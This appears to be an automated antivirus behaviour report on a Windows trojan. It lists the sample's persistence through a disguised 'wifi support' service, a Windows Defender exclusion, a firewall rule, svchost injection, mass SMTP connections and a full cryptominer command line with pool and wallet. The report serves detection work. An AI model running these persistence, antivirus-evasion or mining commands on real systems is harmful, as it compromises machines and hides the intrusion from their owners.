Trojan.Siggen15.19384

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\sjwkjznf] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\sjwkjznf] 'ImagePath' = '<SYSTEM32>\sjwkjznf\eljuzuiw.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\sjwkjznf] 'ImagePath' = '<SYSTEM32>\sjwkjznf\eljuzuiw.exe'

Creates the following services

'sjwkjznf' <SYSTEM32>\sjwkjznf\eljuzuiw.exe /d"<Full path to file>"
'sjwkjznf' <SYSTEM32>\sjwkjznf\eljuzuiw.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<SYSTEM32>\sjwkjznf' = '00000000'

Executes the following

'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="<SYSTEM32>\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

<SYSTEM32>\svchost.exe

Modifies file system

Creates the following files

%TEMP%\eljuzuiw.exe
<SYSTEM32>\config\systemprofile:.repos

Moves the following files

from %TEMP%\eljuzuiw.exe to <SYSTEM32>\sjwkjznf\eljuzuiw.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'sm##.##cureserver.net':25
'mx####.#egamailservers.com':25
'mx.##.##mail.iss.as9143.net':25
'ex####l.bigpond.com':25
'sh#####gate.sparrow.org':25
'mx.#####.#e.cust.b.hostedemail.com':25
'pi###########ool-nz.mail.protection.outlook.com':25
'mx#.###.#ailpod4-cph3.one.com':25
'mx#######f04.gslb.pphosted.com':25
'mx.#####.#om.cust.b.hostedemail.com':25
'mx#######c02.gslb.pphosted.com':25
'ALT2.ASPMX.L.GOOGLE.COM':25
'ma##.##tsimaholo.gov.za':25
'gmr-smtp-in.l.google.com':25
'mx####.##il.gm0.yahoodns.net':25
'mx##.mnp.ca':25
'pa####x.above.com':25
'ma##.booth.net':25
'ne##########om.mail.protection.outlook.com':25
'im##.yeah.net':993
'mx##.m1bp.com':25
'ma#######xcite.roc2.bluetie.com':25
'mx#.ovh.net':25
'au#######nbound-1.mimecast.com':25
'ma##.#arykay.com':25
'al####.###l.protection.outlook.com':25
'mx######91d01.pphosted.com':25
'na#.###.#rotection.outlook.com':25
'mx#######b01.gslb.pphosted.com':25
'mx#######601.gslb.pphosted.com':25
'hk####2.hknet.com':25
'me####in.xmr3.com':25
'cx#.##.#.cloudfilter.net':25
'de###twax.ru':483
'ma##.#-email.net':25
'fa###ool.xyz':10060
'as#.##flexion.net':25
'19#.#6.146.42':427
'19#.#6.146.43':427
'19#.#6.146.41':427
'18#.#53.219.200':427
'51.##8.144.223':427
'91.##9.63.95':427
'google.com':80
'45.##8.172.81':8765
'77.##.79.170':993
'as####asabutton.com':25
'mx#.##ailsrvr.com':25
'mx#######501.gslb.pphosted.com':25
'mx#######301.gslb.pphosted.com':25
'mt##.##0.yahoodns.net':25
'mx#.##emonmail.net':25
'sm####.laposte.net':25
'mx#.##lkomsa.net':25
'AC##########.mail.protection.outlook.com':25
'mx#.#ate.com':25
'mx#######401.gslb.pphosted.com':25
'mx#######701.gslb.pphosted.com':25
'mx###.##il.am0.yahoodns.net':25
'mx.##teria.pl':25
'mx######77002.pphosted.com':25
'al######x-vip2.prodigy.net':25
'de###twax.ru':443
'mx.#len.pl':25
'eu#.###.#rotection.outlook.com':25

TCP

HTTP GET requests

http://www.google.com/

Other

'de###twax.ru':443
'me####in.xmr3.com':25
'mx####.#egamailservers.com':25
'hk####2.hknet.com':25
'pi###########ool-nz.mail.protection.outlook.com':25
'mx#.###.#ailpod4-cph3.one.com':25
'ALT2.ASPMX.L.GOOGLE.COM':25
'ma##.##tsimaholo.gov.za':25
'au#######nbound-1.mimecast.com':25
'pa####x.above.com':25
'sm####.laposte.net':25
'ne##########om.mail.protection.outlook.com':25
'ma##.booth.net':25
'im##.yeah.net':993
'mx##.m1bp.com':25
'al######x-vip2.prodigy.net':25
'mx####.##il.gm0.yahoodns.net':25
'mx.##teria.pl':25
'91.##9.63.95':427
'de###twax.ru':483
'fa###ool.xyz':10060
'51.##8.144.223':427
'19#.#6.146.42':427
'19#.#6.146.41':427
'18#.#53.219.200':427
'19#.#6.146.43':427
'mx###.##il.am0.yahoodns.net':25
'77.##.79.170':993
'ma##.#-email.net':25
'as#.##flexion.net':25
'gmr-smtp-in.l.google.com':25
'mt##.##0.yahoodns.net':25
'AC##########.mail.protection.outlook.com':25
'mx#.##emonmail.net':25
'al####.###l.protection.outlook.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ne###ape.net
DNS ASK ma##.##tsimaholo.gov.za
DNS ASK me####aholo.gov.za
DNS ASK k1##c.com
DNS ASK gm##.com
DNS ASK ALT2.ASPMX.L.GOOGLE.COM
DNS ASK ar####latepr.com.au
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK ly##s.com
DNS ASK mx#######c02.gslb.pphosted.com
DNS ASK bo#####abuilders.com
DNS ASK mx#######f04.gslb.pphosted.com
DNS ASK ts##.com
DNS ASK mx#.###.#ailpod4-cph3.one.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ki##er.dk
DNS ASK pi####rst.school.nz
DNS ASK ce###adia.com
DNS ASK mx.#####.#e.cust.b.hostedemail.com
DNS ASK ly##s.de
DNS ASK sh#####gate.sparrow.org
DNS ASK sp##row.org
DNS ASK ex####l.bigpond.com
DNS ASK te##tra.com
DNS ASK nu###lite.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK vi###nmedia.com
DNS ASK mx####.#egamailservers.com
DNS ASK sa##tel.net
DNS ASK sm##.##cureserver.net
DNS ASK pi###########ool-nz.mail.protection.outlook.com
DNS ASK bv##et.net
DNS ASK mx#.##ailsrvr.com
DNS ASK mn#.ca
DNS ASK nt###rld.com
DNS ASK at####aspirit.com
DNS ASK cq##ail.com
DNS ASK au#######nbound-1.mimecast.com
DNS ASK ma##kay.com
DNS ASK ma##.#arykay.com
DNS ASK al####.###l.protection.outlook.com
DNS ASK ou##ook.fr
DNS ASK be###outh.com
DNS ASK mx######91d01.pphosted.com
DNS ASK be####lantic.net
DNS ASK as####asabutton.com
DNS ASK we##v.net
DNS ASK na#.###.#rotection.outlook.com
DNS ASK mx#.ovh.net
DNS ASK se#####clientele.com
DNS ASK ma#######xcite.roc2.bluetie.com
DNS ASK ex##te.com
DNS ASK mx##.m1bp.com
DNS ASK ve##zon.net
DNS ASK im##.yeah.net
DNS ASK lo####gforspace.com
DNS ASK ne##########om.mail.protection.outlook.com
DNS ASK ne###rsant.com
DNS ASK mo###oth.com
DNS ASK ma##.booth.net
DNS ASK bo##h.net
DNS ASK su###nlink.com
DNS ASK pa####x.above.com
DNS ASK mp###orld.us
DNS ASK mx##.mnp.ca
DNS ASK pr####arpetcare.com
DNS ASK al.com
DNS ASK hk####2.hknet.com
DNS ASK al######x-vip2.prodigy.net
DNS ASK ro###tmail.com
DNS ASK mu######xextremereview.com
DNS ASK rs####ancial.net
DNS ASK mx.#len.pl
DNS ASK o2.pl
DNS ASK gmr-smtp-in.l.google.com
DNS ASK go####groups.com
DNS ASK mx#######301.gslb.pphosted.com
DNS ASK hu##na.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK pu##e.com
DNS ASK it###renet.org
DNS ASK google.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK mt##.##0.yahoodns.net
DNS ASK as#.##flexion.net
DNS ASK yl####yshomemn.com
DNS ASK gl####awards.info
DNS ASK fa###ool.xyz
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK in###eman.info
DNS ASK gr####ealtools.net
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK fr###palate.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ma##.#-email.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK po###ail.com
DNS ASK de###twax.ru
DNS ASK mo####gsidemin.org
DNS ASK ao##wbg.com
DNS ASK pp##.com
DNS ASK ta###ook.com
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK in##ria.pl
DNS ASK mx.##teria.pl
DNS ASK sa###force.com
DNS ASK mx######77002.pphosted.com
DNS ASK at#.net
DNS ASK co#.net
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK cx#.##.#.cloudfilter.net
DNS ASK xm##.com
DNS ASK me####in.xmr3.com
DNS ASK ns##rp.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK rc#e.us
DNS ASK sk#.com
DNS ASK am###trade.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK si##cam.com
DNS ASK mx#.#ate.com
DNS ASK na##.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK AC##########.mail.protection.outlook.com
DNS ASK qu##tar.com
DNS ASK ac###lsen.ca
DNS ASK en###keyllc.com
DNS ASK su#####anreviews.com
DNS ASK mx#.##lkomsa.net
DNS ASK te###msa.net
DNS ASK sm####.laposte.net
DNS ASK la##ste.net
DNS ASK mx#.##emonmail.net
DNS ASK hk##t.com
DNS ASK eu#.###.#rotection.outlook.com

Miscellaneous

Creates and executes the following

'<SYSTEM32>\sjwkjznf\eljuzuiw.exe' /d"<Full path to file>"
'<SYSTEM32>\cmd.exe' /C mkdir <SYSTEM32>\sjwkjznf\' (with hidden window)
'<SYSTEM32>\cmd.exe' /C move /Y "%TEMP%\eljuzuiw.exe" <SYSTEM32>\sjwkjznf\' (with hidden window)
'<SYSTEM32>\sc.exe' create sjwkjznf binPath= "<SYSTEM32>\sjwkjznf\eljuzuiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'<SYSTEM32>\sc.exe' description sjwkjznf "wifi internet conection"' (with hidden window)
'<SYSTEM32>\sc.exe' start sjwkjznf' (with hidden window)
'<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="<SYSTEM32>\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'<SYSTEM32>\cmd.exe' /C mkdir <SYSTEM32>\sjwkjznf\
'<SYSTEM32>\cmd.exe' /C move /Y "%TEMP%\eljuzuiw.exe" <SYSTEM32>\sjwkjznf\
'<SYSTEM32>\sc.exe' create sjwkjznf binPath= "<SYSTEM32>\sjwkjznf\eljuzuiw.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'<SYSTEM32>\sc.exe' description sjwkjznf "wifi internet conection"
'<SYSTEM32>\sc.exe' start sjwkjznf
'<SYSTEM32>\svchost.exe'
'<SYSTEM32>\svchost.exe' -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half

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